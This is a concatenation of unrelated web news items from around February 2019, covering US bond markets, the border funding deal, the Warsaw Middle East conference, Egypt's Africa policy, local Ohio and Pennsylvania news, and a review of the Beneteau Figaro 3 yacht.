Rates are gradually trudging higher, because theyre tired of going down? The U.S. 10-year closed Tuesday yielding 2.68% amid reports that partisan negotiators in Congress have reached an agreement to fund the government through the end of the fiscal year while providing $1.3 billion, well short of the $5.7 billion requested by the White House, for border security. President Trump said later in the day that he was not happy with the deal but conceded that another shutdown is unlikely to take place. Separately, there was continued speculation that the March 1 deadline for increasing the tariff level on $200 billion worth of imports from China to 25% from 10% could be delayed. There is said to be much optimism surrounding the U.S. trade delegation in Beijing this week. Finally, British Prime Minister Theresa May reportedly plans to step down after Brexit and hopes to have a say in naming a successor.

We began today with the usual mortgage applications from the MBA for the week ending February 8 (which dropped nearly 4%, purchases down 6%), the January CPI report (unchanged as expected, +.2% ex-food & energy). Real weekly earnings are seen increasing 0.1% MoM versus 0.7% in December. We have three scheduled Fed presidents speaking. Atlanta's Bostic, Cleveland's Mester, and Philadelphia's Harker will all take the stage. We begin today with Agency MBS worse/lower a few ticks and the 10-year at 2.69%.



Employment

Californias Redwood Mortgage, a privately-owned real estate mortgage and investment company, seeks an Account Executive for the Orange County/San Diego area. Redwood Mortgage has been one of Californias leading innovators in private mortgage lending and mortgage pools. The company offers the right candidate the opportunity to build a territory and career in our loan sales department. The ideal candidate has solid experience in commercial, multi-family and residential investment real estate lending, have an active Cal DRE real estate license, and NMLS. The person will learn and understand the commercial bridge loan product and private money loan product, and manage a territory and develop relationships with Bankers, Brokers and Retail borrowers. Benefits include 401K, dental, life insurance, medical, and vision. Interested parties should contact the Director of Sales and Marketing Steve Belleville.Welcome to Morningstar.co.uk!

You have been redirected here from Hemscott.com as we are merging our websites to provide you with a one-stop shop for all your investment research needs.To search for a security, type the name or ticker in the search box at the top of the page and select from the dropdown results.Registered Hemscott users can log in to Morningstar using the same login details. Similarly, if you are a Hemscott Premium user, you now have a Morningstar Premium account which you can access using the same login details.Egypt and the German Development Bank KfW signed on Tuesday an agreement to disburse the second tranche, worth $250 million, of a soft loan worth of $500 million.

The agreement was signed in Cairo by Sahar Nasr, the minister of investment and international cooperation, and Helmut Gauges, the head of the Africa/Middle East Directorate at the German Development Bank KfW.

According to Minister Nasr, the agreement aims to support social development as part of the Egyptian governments economic reform programme.

Nasr added that the agreement reflected Germany's confidence in the success of Egypts economic and social reform programme.

The minister also called on German companies to inject more investments in Egypt, and noted that German investments in the country have increased to $7.1 billion over the past four years, with 1,215 German companies investing in different fields including oil, petrochemicals, cars, telecommunications and steel.

Germanys ambassador to Cairo Julius Georg Luy praised the agreement, saying that his country has supported the economic reforms in Egypt since the beginning.

KfW head Gauges expressed Germanys keenness to support Egypt economically in the upcoming period.

Following the signing of the agreement, Nasr held a meeting with ambassador Luvy and KfW representatives to discuss increased cooperation between the two countries in the coming period through debt for development exchange.

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South Africa: North West taps into wildlife sector to grow economy

The North West provincial government says it is keen to work with the wildlife sector in order to boost the economy.

Speaking at a meeting with game farmers, breeders, hunters and wildlife trans-locaters among others, Desbo Mohono, the MEC of Rural, Environment and Agricultural Development, said government is ready to assist the sector financially and technically to help establish viable wildlife projects.

We are working very hard to transform this sector, said the MEC on Tuesday.

Animal poaching and the approval of game and hunting permits were among the concerns raised at the meeting held in Rustenburg.

Aspiring game farmers and hunters requested the MEC to assist them with funds and necessary training so that they can enter the industry and benefit economically from natural resources which are abundant in the province.

With regard to issues of permits, Mohono encouraged aspiring game farmers to use the Biodiversity Electronic Permit System, which is a government online facility of registering and applying for permits.

The system was launched on 1 April 2018 with the aim to improving efficiencies in the registration of game and plant species, while also eliminating unnecessary paperwork.

Mohono encouraged stakeholders to work with government to use natural resources found in the province.

I want everyone to join forces with government so that we can achieve transformation of the wildlife economy with inclusivity and social cohesion necessary for nation building, she said.  SAnews.gov.za

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Today's Headlines Would you like to receive our daily news? Sign up today!

Breaking news Sign up for breaking news alerts from morning-times.com!!!

Week in Sports Get a weekly local sports round-up from www.morning-times.com every Saturday morning!!!Shali Zhang, dean of libraries at the University of Montana, sits in the study lounge on the near the front doors of the Mike and Maureen Mansfield Library on Feb. 7, 2018. Zhang wished to be photographed away from the books because she wanted to focus on the main reasons students come to the libraryto study and use the technology.When the world shut down just over a year ago, I had no idea what my photo team would work on in the future. I was just over two months into my new job as multimedia editor, and though the future was uncertain, we still had a job to do.Thousands of people fleeing violence in South Sudan have crossed the border into northeast Democratic Republic of Congo, the UN said on Wednesday.

"According to village chiefs, 5,000 refugees have arrived in several border villages near the town of Ingbokolo, in Ituri province," a spokesman for the UN's peacekeeping mission MONUSCO said.

"The areas are hard to reach -- roads and bridges are damaged and in a poor state. The HCR [UN High Commissioner for Refugees] has sent additional personnel to Ituri to register the refugees and help in their possible transfer," the spokesman said.

South Sudan gained independence from Sudan in 2011, becoming the 193rd member of the UN.

But a civil war broke out in 2013 after President Salva Kiir accused his former deputy, Riek Machar, of plotting a coup.

Since then nearly 400,000 people have been killed and millions forced from their homes or driven to the brink of starvation.

The DRC hosts more than half a million refugees from Rwanda, South Sudan and the Central African Republic, while at least 800,000 Congolese have taken refuge abroad, according to the latest UNHCR figures.

The DRC also has 4.49 million people who are internally displaced, according to UN figures. The authorities give a much lower estimate of 245,000.

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As a current print subscriber, you receive 24/7 access to our website and online e-edition at no additional charge. All you have to do is activate your access. To activate digital access, you will need your account number. You can find your account number on any recent subscription notice or bill.President Donald Trump is ready to sign a border security funding deal, despite failing to get anywhere close to the money he sought for a US-Mexico border wall, US media reported Wednesday.

CNN and NBC television quoted sources close to the president saying that Trump has resigned himself to the deal crafted by his Republican Party and the Democrats in Congress.

White House spokeswoman Sarah Sanders would not confirm or deny the reports, but said Wednesday that "there are positive pieces" in the deal.

"We want to see the final piece of legislation," she told reporters.

Trump had demanded $5.7 billion for a dramatic extension of fences and walls along the Mexican border, claiming that the United States faces an "invasion" of criminals and illegal immigrants.

Democrats refused, accusing him of exagerating the situation for political gain.

Trump retaliated in December by cutting funding to swaths of government in a five-week shutdown. He had threatened to trigger a new shutdown this Friday if his demands were not met.

The deal worked out in Congress this week will provide less than $1.4 billion for wall construction.

On Tuesday, Trump said he was not happy with the deal but "I don't think you're going to see a shutdown."

Trump says he can still add to that from other sources not requiring congressional approval, although he has been vague about how this would work.

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We attempted to send a notification to your email address but we were unable to verify that you provided a valid email address. Please click here to update your email address if you wish to receive notifications. Otherwise, you may click here to disable notifications and hide this message.Israeli Prime Minister Benjamin Netanyahu met Omans foreign minister on the sidelines of a U.S.-sponsored Middle East conference in Warsaw on Wednesday and hinted that other Arab countries represented there were engaging with Israel.

Many are following this (Omani) lead, and may I say, including at this conference, a video released by Netanyahus office showed him telling Yousuf bin Alawi bin Abdullah, whose Gulf state hosted the Israeli leader in October.

Oman does not formally recognise Israel. Nor do Saudi Arabia and United Arab Emirates, which share Israels concerns about Iranian actions in the region and also sent envoys to Warsaw.

Speaking to Netanyahu, bin Alawi said: People in the Middle East have suffered a lot because they have stuck to the past. Now we say, this is a new era, for the future.

The United States hopes the Warsaw gathering will ratchet up pressure against Iran despite concerns among major European countries about heightened tensions with Tehran.

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Chesterhill Village Council makes decisions on gym addition, plans for repair of Union Building Chesterhill Council held a special meeting as they had a few decisions to make because of deadlines that would hit before the next meeting. Council discussed its plans for the addition at the gym. Council will be coming up with more ideas of how to best utilize the gym. Councilman...

Morgan County Sheriffs Office Daily Call Reports Editors Note: The following are initial incident reports from callers to a Morgan County Sheriff s Office Dispatcher. Any details, charges or situations may have been distorted by the caller, or perhaps may have been found to be different after the officer further investigated the incident. Thursday, January 28, 2021...

HINDSIGHT 10 Years Ago (2011)  Sgt. Stephanie DeNune was named Non- Commissioned Officer of the quarter following a competition of her peers. She is serving with the U.S. Armys 218th Medical Detachment in Iraq in support of Operation New Dawn 2010-11. She has served nine years and recently committed to...

McConnelsville Village Administrator reminds council of upcoming photo op on Main Street Village Administrator Jennifer Ponchak reminded everyone that Thursday evening, June 3, the council would be walking down Main Street, starting at the Inns at 8th and Main and continuing to the old bridge, viewing the preparation of the various businesses. A group will be coming in to take photographs on...

Schaffer announces operating budget amendments to restore property tax losses in Morgan, Muskingum, and Noble Counties State Senator Tim Schaffer (RLancaster) joined his colleagues in the Ohio Senate Wednesday, June 9, for the passage of Substitute House Bill 110, which is the Senates proposal for Ohios FY 2022-2023 operating budget. Schaffer secured language in the Senate version of the bill that will restore property tax losses...

Morgan County Sheriffs Office Daily Call Reports Editors Note: The following are initial incident reports from callers to a Morgan County Sheriffs Office Dispatcher. Any details, charges or situations may have been distorted by the caller, or perhaps may have been found to be different after the officer further investigated the incident. Sunday, January 24, 2021 ...Other dogs, from Lyndon Johnson's beagles to Bo Obama, have inspired public obsessions and even children's books. George H.W. Bush's dog, Millie, even "wrote" her own. There's a reason Mitt Romney caught so much criticism for strapping his own family pooch to the roof of a car: Americans see a fondness for hounds as a sign of humanity. Our attraction to these loyal and innocent creatures is supposed to be instinctual and almost universal; man loving dogs is part of what makes man man, and if we are alike in nothing else, at least we are alike in this.Pennsylvania has the second highest annual amount of medical malpractice payouts of any state at $374 million, a 6.8 percent increase over the prior year according to the National Practitioner Data Bank. Also Pennsylvania ranks 39th in retention of physicians who went to medical school in this state and did post graduate training here. Only 57 percent of this category remained in the state after completion of training. The national median for retention is 69 percent according to Association of American Medical Colleges data.U.S. District Judge Chad F. Kenney dismissed some of Sgt. Bill Williams claims against Pawlowski, Morris and other police officials. But he refused Pawlowski and Morris request to dismiss Williams claims they violated his First Amendment rights by transferring him from his job as commander of the police department's youth division and putting him on an overnight patrol.Thousands of constables this month let their annual liability insurance and state-mandated firearms training lapse, rendering them ineligible to work for district judges under state law, according to records at the Pennsylvania Commission on Crime and Delinquency. As of Wednesday, only 897 constables (about one in five) had met the insurance mandate, and even fewer had current firearms certification.President Trump praised German Shepards, but insists he doesn't have time to take care of a dog while in the White House.The theater got its start in 1921 when Charles and John Kurtz, locals who owned a cabinetry and furniture-making business and restaurant, opened it as the Kurtz Theatre. Three years later the venue was renamed the Colonial after being bought by the Wilmer and Vincent Theatre Co., which owned the Colonial Theatre in Allentown.Several priests who served in the Newark archdiocese have been accused of molesting boys as part of their volunteer work with Boy Scout troops, according to published reports. Others named in the release were arrested, convicted or pleaded guilty and were returned to service after probation or treatment, according to court records and published reports.Nicole Landen says received an email from American Express last month, informing her of the company's condolences for her passing. WPVI-TV reports that soon after, Landen says her credit account was closed and her bank account was frozen.Among the worlds most unstable regions, none is faced with more serious geopolitical risks than the long arc stretching from the Maghreb to the Arabian Gulf.

For decades the Middle East has experienced upheavals that will change the face of the region for many years to come. The deadlock in the Arab-Israeli peace process, the US-led invasion of Iraq in 2003, the socio-political turbulence that followed the Arab Spring, and the rise of terrorism have been the main forces driving regional unrest.

Although the threats from the Islamic State (IS) terror group, which seized vast amounts of territory in Iraq and Syria in 2014, have diminished, turmoil has risen across the Middle East and the flames of conflict are in danger of growing out of control.

Yet, political and security solutions to hold the collapsing regional order together and maintain its peace and security architecture are increasingly being called into question.

The issue was highlighted this week when leaders from some 70 countries met in the Polish capital of Warsaw in a new effort to foster regional security cooperation.

It is not clear what the conference, staged by the United States, will actually achieve, but doubts abound about Washingtons commitment to the troubled region. A mixture of impotence and confusion on the parts of Arab governments has also deepened the disarray.

Ahead of the conference, experts and politicians had already taken aim at the lack of preparations for it. Critics noted the participants inability or unwillingness to address core problems and challenges.

At issue is US President Donald Trumps confusion on the Middle East, indecision and tendency to conduct American regional policy based primarily on the needs of Israel.

To make up for its misguided Middle East policies, the Trump administration has been pushing ahead with a bid to create a security and political framework with US regional allies.

Under the plan, the six US allies in the Gulf Co-operation Council (GCC), as well as Egypt and Jordan, would fashion a Middle East Strategic Alliance (MESA).

The goal of the alliance as articulated by US Secretary of State Mike Pompeo would be to focus on Middle East stability and peace and freedom and security. Other US officials also highlighted the aim of curbing terrorism and eliminating threats from IS.

Nevertheless, the US priority for the alliance, already nicknamed an Arab NATO, is plain: confronting Irans influence and countering its increased expansion in the region.

Yet, despite agreement by a broad spectrum of Arab governments and public opinion about the threats posed by Iranian policy, there are clear differences on where they stand in their priorities.

Although curbing Irans influence has long been overdue, many Arabs see more drama and intrigue in the Arab NATO project than substance. They believe the plans are formulated not to ensure regional stability but to impose Trumps biased and flawed Israeli-Palestinian peace plan.

Even before it convened, Trumps son-in-law Jared Kushner planned to make the long-awaited peace proposal, the so-called deal of the century, a focus for discussions with participants in Warsaw.

Kushner and US Special Representative to the Peace Process Jason Greenblatt will travel later to the region to ask oil-rich countries in the Gulf to finance the economic portion of the plan intended to give financial incentives to the Palestinians.

Though the administration had said it will not release details of the peace proposal before Israels elections on 9 April, its attempt to use the Warsaw forum to push the plan has fuelled speculation about the real objectives behind the summit.

The Palestinian Authority (PA) has decided to stay away from the Warsaw Conference and warned that discussing the US peace plan will be a stab in the back. Chief Palestinian negotiator Saeb Erekat said the PA had not mandated anyone to talk on behalf of Palestine.

Other major obstacles in the path of an Arab NATO include complex Arab divisions on regional issues. While Qatars deepening schism with Saudi Arabia, the UAE, Bahrain and Egypt has hit military cooperation, other Arab countries have showed indifference to the project for purely national security reasons.

While official reactions have remained muted, public criticisms have underscored concerns that the proposed alliance is focusing on building an anti-Iran coalition while ignoring the decades-long Arab-Israeli conflict.

Critics have also rejected the planned pact out of fears that it will create a vehicle for a broader religious conflict in the region between Arab Sunnis and Shias as sectarian divisions increasingly manifest themselves on individual and national levels.

The most worrying aspect [of the alliance] is the fear that it entails religious and sectarian dimensions, wrote prominent Egyptian political science scholar Ali Eddin Hilal in Al-Ahram daily.

In a broader sense, the main objections remain related to fears that a tight-knit alliance will create a new regional system that would likely be quite different from the failing Middle East security order.

There are many specific concerns that the strategy the United States is pursuing in the Middle East by making Iran the main threat is intended to integrate Israel into the new regional system it hopes to create through the security alliance.

One more problem is that traditional Arab powerhouses, such as Egypt, Iraq and Syria, as well as other players like Jordan, Morocco and Algeria, are unlikely to cede regional leadership to Saudi Arabia and smaller countries in the Gulf.

Last week, foreign ministers from Bahrain, Egypt, Jordan, Kuwait, Saudi Arabia and the United Arab Emirates failed to issue a final communique after meeting in Jordan to coordinate stances ahead of the Warsaw summit.

Jordanian commentators monitoring the gathering later said that the six countries did not share priorities vis-a-vis the Warsaw Conferences agenda and in particular the new military structure initiative.

The lack of agreement that has been demonstrated over the Arab NATO project has highlighted the challenges to regional security integration. It also underscores the need for a new Middle East political and security order that addresses the regions unique historical and political factors and emerging circumstances.

The quest for an effective security order in the Middle East is as old as the region itself when its modern state system emerged after World War I.

A mixture of old rivalries, state fragility and colonial-power competition has since worked to shape the regions security structure. For a century, all the security and political arrangements that did not emanate from its security needs have failed to bring peace and stability to the region.

As early as the 1950s when Britain and the United States pushed for the establishment of the Baghdad Pact, most Arabs have realised that the main threat to their countries was the then newly established state of Israel.

More Israeli wars, incursions and unabated onslaughts on its Arab neighbours have deepened the regions security crisis, keeping the Arab-Israeli conflict the major area of confrontation.

Nobody who has an understanding of the threats and challenges can foresee an end to the Middle East security dilemma without first establishing a viable peace and allowing the Palestinians to have their own independent state on their own land.

The failure to resolve the Palestinian problem, the Israeli wars and the American strategies in the Middle East have benefited Iran and helped its Islamic regime to expand.

While the Israeli incursion into Lebanon in 1982 facilitated the Iranian break-through into Lebanon and Syria, the US-led invasion of Iraq in 2003 was the main catalyst for the Iranian influence in that beleaguered country.

While the Israeli blow against Lebanon led to the creation of Hizbullah, the Shia paramilitary group that later became Irans spearhead in Syria, Iraqs Shia militias were part of a broader Shia empowerment induced by the US-led invasion.

In both cases, Iran was there to exploit the opportunities presented by Israels and Americas follies in order to rise and become a pivotal power in the Middle East.

Today, instead of letting the Arabs work out more realistic plans to confront Iran that build on national and regional assets, both Israel and the United States are borrowing from their long catalogue of failures and trying to engage the Arabs in their own wars and adventures.

*A version of this article appears in print in the 14 February, 2019 edition of Al-Ahram Weekly under the headline: The fallacy of an Arab NATO

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She has already had a wheelchair since the 1990s, but now the brand is getting even more inclusive, with plans to roll out a line of dolls with disabilities, as well as differing looks than the traditional big-busted, wasp-waisted original.What could be more romantic than the idea of a young couple beginning their life together in the hills of Appalachia, or more exciting than strolling through the streets of Paris to the sounds of jazz? Add to that the delight of hearing a virtuoso pianist evoke the opulence of the Roaring 20s, and youve got quite a Valentines Day bonbon.Sure, weve all heard Gershwins American in Paris. Those familiar with the piece know that it can be played either straight from the page, or you can swing it. ASO conductor Diane Wittry chose the latter, and man, did it swing.We have worked hard to explore options for New England Motor Freight, but the macro-economic factors confronting this industry are significant, Vincent Colistra, the companys chief restructuring officer, said in a news release. Following two years of losses, and with continuing and unsustainable rises in overhead as well as a severe industry shortage of drivers, we have concluded that the company has no choice but to proceed with an orderly wind-down of operations in a Chapter 11 proceeding.The pastor of the First Baptist Church of Wetumpka, James Troglen, told WSFA-TV that church members voted Sunday to return the contribution from Wind Creek, which is buying Sands Casino Resort Bethlehem. Wind Creek, the gambling and hospitality entity of the Poarch Band of Creek Indians, has three casinos in Alabama, including one in Wetumpka that is only a mile or so from where the tornado hit.Mankato, MN (56001)

Today

A mix of clouds and sun during the morning will give way to cloudy skies this afternoon. High 86F. Winds NW at 10 to 15 mph..

Tonight

A few clouds. Low 63F. Winds NNE at 5 to 10 mph.The Mideast conference in Poland starting Wednesday offers Israeli Prime Minister Benjamin Netanyahu an opportunity to flaunt in public what he has long boasted about happening behind the scenes _ his country's improved relations with some Gulf Arab nations.

Several Gulf dignitaries are expected to attend in a potential show of force against uninvited Iran. But the Palestinians are urging a boycott of the conference, and it remains to be seen whether Arab officials will make any public overtures to Netanyahu without a major concession to the Palestinian cause, which still animates the Arab public.

The United States and Poland are sponsoring the conference in Warsaw, which they say is aimed at promoting peace and security in the region but appears to be mainly focused on isolating Iran.

Iran has denounced the conference as an American anti-Iran ``circus.'' Russia has said it will not attend, and the European Union's foreign policy chief, Federica Mogherini, is also skipping the event.

For the Trump administration, it is a high-profile occasion to gather all its Middle East allies. For Poland, it offers a chance to strengthen ties with Washington as it seeks greater protection from Russia.

But the real winner could be Netanyahu, who has repeatedly stated that Israel has clandestinely developed good relations with several Arab states, despite a lack of official ties. Bringing such contacts out into the open would mark a major diplomatic coup, put a seal of approval on his goal of improving Israel's standing in the world and provide a powerful photo-op for his re-election campaign ahead of the April vote in Israel.

Before departing for Poland on Tuesday, Netanyahu told reporters that the focus of the conference will be Iran, an issue he said ``unites Israel, the United States, many countries in the world.'' He said Israel enjoys ``very good relations'' with every country in the region ``except Syria,'' where Israel has carried out several airstrikes on Iranian targets in recent months.

Danny Danon, Israel's U.N. ambassador, said his private contacts with Arab officials are far warmer than what is said in public. He predicted that once one Arab country goes public, others will quickly follow.

``As of now, they are already cooperating with us,'' he told reporters in Jerusalem recently. ``We ask them to recognize us and not to be ashamed for using our technology or our defense systems.''

Israel has signed peace accords with Egypt and Jordan, but other Arab nations have refused to publicly improve relations without significant progress being made toward ending Israel's half-century occupation of lands sought for a Palestinian state.

But as shared concerns about Iran have overshadowed the Palestinian issue in recent years, ties that have long lingered in the shadows have begun to emerge.

Netanyahu visited Oman in October and met with longtime ruler Sultan Qaboos bin Said. Days later, two of his ministers headed to the United Arab Emirates for a security conference and to cheer on an Israeli delegation at a judo tournament _ where the Israeli anthem was played after an Israeli competitor won gold.

Saudi Arabia, long rumored to have backdoor ties to Israel, lifted a decades-long ban on the use of its airspace for flights to Israel last spring, allowing India's national carrier to cross its skies. The leaders of the small Gulf nation of Bahrain have also expressed willingness to normalize relations.

Gulf Arab states have given less voice to their traditional antipathy toward Israel as they have grown increasingly fearful of Iran over its involvement in Syria and other regional conflicts, and its support for various armed groups. Getting closer to Israel also helps them to curry favor in Washington.

But with Arab public opinion still strongly against normalization with Israel, this week's conference is unlikely to produce warm engagement right away, said Yoel Guzansky, a senior researcher at Israel's Institute for National Security Studies.

``Covert meetings already exist, and the `under-the-table' relations are the world's worst kept secret, so I don't see what the Arabs would gain from shaking hands,'' he said. ``The point is to see everyone in the same room as a united front against Iran. But the Arab street is still nowhere near where the elites are regarding Israel, and too strong an embrace could draw fire.''

The foreign ministers of Saudi Arabia and the UAE are scheduled to attend and meet with U.S. Secretary of State Mike Pompeo. It is unclear what their level of engagement will be with the Israeli delegation.

Netanyahu recently visited the Muslim-majority African nation of Chad to officially restore relations after 50 years and promised there would be more such visits and announcements soon.

Trump's senior Mideast adviser, son-in-law Jared Kushner, has been working on an Israeli-Palestinian peace plan for close to two years, but has not yet released details. U.S. officials say Kushner is expected to make some comments about the conflict in Warsaw, but Netanyahu said he doesn't expect any discussion of the peace plan.

The Palestinians have pre-emptively rejected the plan, accusing the Trump White House of being unfairly biased toward Israel. They've also asked Arab countries to boycott or downgrade their representation at the conference in Poland.

``We view the Warsaw conference as a plot against the Palestinian cause,'' Palestinian Foreign Minister Riad Malki said this week.

President Mahmoud Abbas met with Saudi Arabia's King Salman on Tuesday, who expressed his ``permanent stand'' in favor of a Palestinian state with east Jerusalem as its capital, according to the official Saudi news agency.

Further tempering expectations, an Israeli TV channel obtained what it said was a secret Foreign Ministry report concluding it was very unlikely Saudi Arabia would normalize relations with Israel without a major concession to the Palestinians. The report, aired on Israel's Channel 13 news, quoted a senior official as saying the narrow window for a breakthrough with the Saudis had closed.

The Foreign Ministry refused to comment on the report

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Village View

Is the year of the woman in sight?Magnolia, AR (71754)

Today

Sun and clouds mixed. High 96F. Winds SSW at 5 to 10 mph..

Tonight

Mainly clear. Low 76F. Winds S at 5 to 10 mph.Motoring / Yachts

Darren Catterall sea trialled the first Figaro Beneteau 3 in Asia, where the foiling monohull stopped in Hong Kong on its way to Taiwan.

Feb 13, 2019 | By Yacht Style

Beneteaus Figaro 3 is already a game-changer as the worlds first production foiling one-design monohull. It arrived with high expectations, as this latest edition follows the two hugely successful Figaro models that since 1992 have not only dominated their category but also sailed more miles than any other Vendee Globe yachts.

So, when the first Figaro 3 into Asia whistled through Hong Kong on her way to Taiwan, I was pretty excited to get a quick spin on her before she left for her new home.

Firstly, shes an amazing boat, looks fantastic and handles amazingly well. Shes built in a customised yard in France by a separate racing division that was set up within the Beneteau Group to oversee the launch of this iconic iteration and work on future racing projects.

The third version succeeds the incredibly successful Figaro 2, which for about 15 years helped launch the careers of the worlds most competitive, single-handed skippers, most of whom are French. These include Charles Caudrelier, who led the China-flagged Dongfeng Race Team to victory in the 2017-18 Volvo Ocean Race.

VPLP Design, founded by Marc Van Peteghem and Vincent Lauriot-Prevost, was the architect of the last two boats to win the Vendee Globe and was also responsible for this latest Figaro, a proud addition to the French firms remarkable portfolio.

And it was an almighty challenge having to succeed both the Figaro 1, which had naval architecture by Finot Berret and produced about 140 units, and the Marc Lombard-designed Figaro 2, which tallied almost 100 hulls.

Sales for the Figaro 3 are already topping the latter, as the newcomer is the exclusive model to be used in this years Solitaire du Figaro, a race Caudrelier won in 2004 and which has been the proving ground for so many offshore sailors.

Its a classic single-handed race for single-minded people who dont like to sail on boats with other people!

However, with her inward-curving foils, the Figaro 3 can also become the stepping stone for the IMOCA 60  used in the Vendee Globe and also the next Volvo Ocean Race  and other offshore foiling races around the world, the majority hailing from France.

Flying The Figaro

Stepping into the cockpit, you immediately understand she was primarily built for one person to sail her fast and hard.

Everything runs into the cockpit and there is a lot of everything, such as the mainsheet (course and fine), traveller, jib inhaulers and downhaulers, foil extension and retraction system, backstay runners, as well as the halyards and spinnaker tack line. All of it ends up in the small cockpit and can make a big mess if youre not on top of things.

In the middle of the cockpit is space for a small liferaft, suitable for those longer offshore races, but it can just as easily hold a beer cooler and music if youre doing some round-the-island sailing, which is nice.

Taking the helm was a pleasant surprise. The Figaro 3 is incredibly light and very sensitive for a yacht this size. She responds like a dinghy, quickly and happily going wherever you want her.

As she was designed for single or double-handed racing, the light helm is necessary to ensure the auto-helm system is not overstressed during long offshore races.

She also points surprisingly well and its here that the new asymmetric tip foils  as described by Beneteau  deliver their magic.

These foils do not lift the boat out of the water but instead create an additional sideways force to assist that of the slim keel blade. This reduces leeway significantly and allows the yacht to point well.

This system replaces the ballast tanks used in the Figaro 2 to reduce weight and drag, and makes the Figaro 3 faster than her predecessor.

Heel her over a bit and she powers up quickly, as the wetted surface area reduces and the power-to-drag ratio increases.

The mast is set back to balance a fathead main and a large genoa to give a very balanced helm. She comes with a smaller jib, a masthead asymmetric spinnaker and a smaller gennaker to complete the standard sail plan for the one-design fleet.

Once we got up the track, we turned downwind, hoisted the big spinnaker and off she went, easily hitting double digits in only 10-12 knots of wind.

The acceleration, even in average winds, was great fun and it made me wish that we could have had her out on a windier day to see what she could really do when pushed.

Bare Necessities Down Below

After a decent downwind zoom, I decided to check out the rest of the boat. The foredeck is large and easy to move around when setting up the spinnaker and theres plenty of space on the side decks as the hatch is quite narrow and built to protect in offshore conditions.

Down below, only one word fits and that word is spartan. Okay, perhaps two words: spartan and very. Nothing that would detract from the aim of going fast and far has been added to this boat in an attempt, I suspect, to put people off considering single or double-handed offshore sailing unless they were mad!

Two small, uncomfortable pipe cots mean sailors wont be sleeping in luxury and will be available 24/7 to trim the boat and make her go fast.

Theres no fridge or cooking stove of any description, so gourmet meals arent on the menu, but thats not a bad thing because there isnt a toilet so its probably best not to eat too much.

And theres nowhere to store any personal belongings, so you wont be bringing anything onboard beyond what you walk onto the boat with, so keeping weight down.

With nothing else to power  like fridges and air-con and TVs  the house batteries dont need to be massive, which again reduces weight. The perfunctory engine is a 21hp unit from Japanese maker Nanni Diesel.

The Figaro 3 is built for speed, not for comfort, and is best offshore where she is going to excel in tough conditions and remind sailors what it is to be alive. And shes likely to form a very large, heavily used fleet for the next 15 years or so, providing a launch pad for another generation of offshore sailing greats.

www.beneteau.comIn two statements addressed to the opening and closing of the African Union (AU) summit this week, President Abdel-Fattah Al-Sisi stressed Egypts commitment to working with the pan-African organisation and member states to consolidate national security, enhance development plans and promote moderation.

For officials working on Cairos Africa policy, the three tracks Al-Sisi highlighted are about strong military and police forces, expanding and upgrading infrastructure and facing up to militant groups that promote radical religious views.

Egypt has traditionally dedicated considerable attention to help African states consolidate their military and police capacities. We have always done a lot of training but during the past five years, with concerns over terror growing, we have expanded our training and cooperation programmes with several African states, especially those in East Africa and the Sahel and Sahara, said a government official.

He added that police, military and intelligence cooperation with most of the countries of East Africa and the Sahel and Sahara would be up-scaled in the next few years.

Amira Abdel-Halim, an expert on Egypt African relations and researcher at Al-Ahram Centre for Political and Strategic Studies, says it makes perfect sense that Egypt commits itself to promoting security in these two zones.

These zones have seen several militant groups significantly undermine security and stability, not just in east Africa and the Sahel and Sahara but also in parts of west and north Africa.

In June last year, Egypt saw the inauguration of the headquarters of the Sahel and Sahara Anti-Terror Centre.

This centre is just one part of what Egypt is trying to do to help countries overcome the disturbing expansion of terror cells. It is a big project that we are committed to, says the government source. He added that as host of the centre Egypt is not just bringing troops for training but it is also exporting expertise to concerned states.

Sahel and Sahara is a 29-member state grouping launched in the 1990s. The groups headquarters was in Libya.

A retired Egyptian diplomat who served in Libya says ousted Libyan dictator Muammar Gaddafi used the grouping to strengthen his presence in as many African countries as possible.

Gaddafi had militias from many countries hosted in Libya and we were always worried about it, he said.

Following the fall of Gaddafi and the subsequent havoc that hit Libya things took a very disturbing turn, says Abdel-Halim. The enormous reservoir of arms that Gaddafi had built up became available to militant groups from Mali, Chad and Niger, threatening the stability and security of their own countries and neighbouring countries alike.

Boko Haram in Nigeria, Harakat Al-Shabab Al-Mujahideen in Somalia and the Lords Resistance Army (RLA) in Uganda have all benefited from Libyan arms, says the government official. There were other militias too, he adds, meaning we had to act promptly.

We worked with countries in the region and with concerned international powers and we are committed to continue working on this very crucial front.

Increased cooperation, says the source, means these terrorist groups and militias have been weakened though they remain capable of functioning.

According to Abdel-Halim, the battle against terrorism and drugs, arms and human trafficking is not one Egypt can ignore.

It is also about facing up to illegal migration, an issue that Egypt takes very seriously, says the official.

Abdel-Halim argues that ending the threat posed by militant groups and militias will require more than the consolidation of military and police capacities. It also needs major development plans because one reason that helps these groups take root and then expand is the lack of development. It causes anger and inevitably leads to violence.

Sources at the ministries of foreign affairs and investment say that Egypt is trying hard to push development in Africa. Already, they say, Egypt has proposed closer cooperation between the three economic sub-regional groupings COMESA, ECOWAS and SADC that cover east, west and south Africa.

Cooperation is a key issue which Egyptian officials raise with their regional and international partners.

We talk with the French, the Chinese and the United Arab Emirates and almost everyone who has an interest in Africa, says an Investment Ministry source.

We also talk extensively with the Egyptian private sector, encouraging it to pursue opportunities in Africa.

Marwa Salem researches Egyptian policies on Africa.

We are living through a new scramble over Africa, she says. Old colonial powers and new emerging economies are eying economic opportunities and for a good reason. Africa contains 30 per cent of the worlds natural resources and has a very young population. Seventy per cent of Africans are under 25.

In its capacity as chair of the AU, Salem argues Egypt could help streamline the growing economic interest in Africa given Cairo is in a good place to play this role because of its long and un-interrupted association with African states.

Concerned officials agree that the last 10 years of Hosni Mubaraks rule were not the best time for Egypts relations with Africa but they argue that during the past few years things have been picking up. President Al-Sisi has been keen to engage with African leaders, and Egyptian diplomacy has always focused on the continent.

We work with African countries in the UNGA in New York and Geneva on matters related to trade and human rights. There is a clear role for Al-Azhar, and to a lesser extent to the Coptic Orthodox Church, in several African countries, says one official.

The Orthodox Church of Egypt has traditionally had close ties with Ethiopia, links that have been used extensively, according to an Ethiopian source, to improve relations between Cairo and Addis Ababa since the two capitals have been at loggerheads over the construction of Ethiopias Grand Renaissance Dam.

Al-Azhar has a considerable constituency in more than 20 African states and has provided education, humanitarian assistance and spiritual leadership to Africas Muslims for decades. However, as an advisor to the grand imam said, during the past few years we became very concerned about radical groups and have been providing guidance to imams in Africa to help them combat extremism.

Grand Imam Sheikh Ahmed Al-Tayeb has even spoken with Pope Francis about the need for the Vatican to complement the role of Al-Azhar in defying violence and terrorism in constituencies that follow the Catholic Church.

